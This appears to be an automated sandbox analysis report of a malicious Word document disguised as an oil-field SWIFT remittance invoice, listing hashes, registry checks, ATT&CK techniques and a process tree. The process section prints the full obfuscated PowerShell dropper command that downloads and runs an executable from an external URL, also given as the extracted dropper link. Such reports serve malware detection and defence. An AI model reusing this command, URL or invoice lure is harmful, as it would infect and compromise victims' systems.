f4965c1fcd7e5104b08e9aca3cc989f1a487f64ee791f013ef105f981d67e90d

General

Target

Invoice- 8765432345678 Oil_Field_Swift_remmitance.doc
Size

56KB
MD5

14124094350a4280daa20a5328ec2954
SHA1

323f142b39d5a541d9ef68f98df26a28032ca12a
SHA256

f4965c1fcd7e5104b08e9aca3cc989f1a487f64ee791f013ef105f981d67e90d
SHA512

4cc0e648fbc349ea80fec1b55e047b388bd37e28c9a291f3b5a5f7b472be99c5c09afe12afaef9dc8776a802f42695998bc461523f77be922514972f421985ee

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://sec6ur1.x24hr.com/g/soleApp1.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1648	3020	cmd.exe	WINWORD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3020 WINWORD.EXE
3020 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3720 powershell.exe
3720 powershell.exe
3720 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3720 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3020 WINWORD.EXE
3020 WINWORD.EXE
3020 WINWORD.EXE
3020 WINWORD.EXE
3020 WINWORD.EXE
3020 WINWORD.EXE
3020 WINWORD.EXE

pid	process
3020	WINWORD.EXE
3020	WINWORD.EXE

pid	process
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3720	powershell.exe

pid	process
3020	WINWORD.EXE
3020	WINWORD.EXE
3020	WINWORD.EXE
3020	WINWORD.EXE
3020	WINWORD.EXE
3020	WINWORD.EXE
3020	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 3020 wrote to memory of 1648	3020	WINWORD.EXE	cmd.exe
PID 3020 wrote to memory of 1648	3020	WINWORD.EXE	cmd.exe
PID 1648 wrote to memory of 3720	1648	cmd.exe	powershell.exe
PID 1648 wrote to memory of 3720	1648	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Invoice- 8765432345678 Oil_Field_Swift_remmitance.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3020

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\reallyAmerican.cmd" "
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1648

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`ps://sec6ur1.x24hr.com/g/soleApp1.e`xe -Destination C:\Users\Public\Documents\assumeassume.e`xe;C:\Users\Public\Documents\assumeassume.e`xe
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3720

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Public\Documents\reallyAmerican.cmd
MD5
fc82860b6a3c9fae492e2b7cf9e33764

SHA1
2e938f108588054a6f883a88e46e23f09e547e0d

SHA256
a42b0be57a07e979e30281c26bfad18f672591d8174e112316a0a1de1e6ee2b6

SHA512
e1765f3d4b95c3c11ec47ffe0e3c89fd91abbab839a0f3a7e0400fe969237bdf74741a64614c08ba8e7d4871bc5b806af92291c8bd92e9a6fc8b5f34e1ef3207

Download Submit
memory/1648-255-0x0000000000000000-mapping.dmp

Download
memory/3020-118-0x00007FF817560000-0x00007FF817570000-memory.dmp

Filesize
64KB

Download
memory/3020-115-0x00007FF817560000-0x00007FF817570000-memory.dmp

Filesize
64KB

Download
memory/3020-119-0x00007FF817560000-0x00007FF817570000-memory.dmp

Filesize
64KB

Download
memory/3020-120-0x000001FC395F0000-0x000001FC395F2000-memory.dmp

Filesize
8KB

Download
memory/3020-121-0x000001FC395F0000-0x000001FC395F2000-memory.dmp

Filesize
8KB

Download
memory/3020-122-0x000001FC395F0000-0x000001FC395F2000-memory.dmp

Filesize
8KB

Download
memory/3020-117-0x00007FF817560000-0x00007FF817570000-memory.dmp

Filesize
64KB

Download
memory/3020-116-0x00007FF817560000-0x00007FF817570000-memory.dmp

Filesize
64KB

Download
memory/3720-257-0x0000000000000000-mapping.dmp

Download
memory/3720-262-0x00000153DAD50000-0x00000153DAD52000-memory.dmp

Filesize
8KB

Download
memory/3720-263-0x00000153DAD53000-0x00000153DAD55000-memory.dmp

Filesize
8KB

Download
memory/3720-407-0x00000153DAD56000-0x00000153DAD58000-memory.dmp

Filesize
8KB

Download
memory/3720-413-0x00000153DAD58000-0x00000153DAD59000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads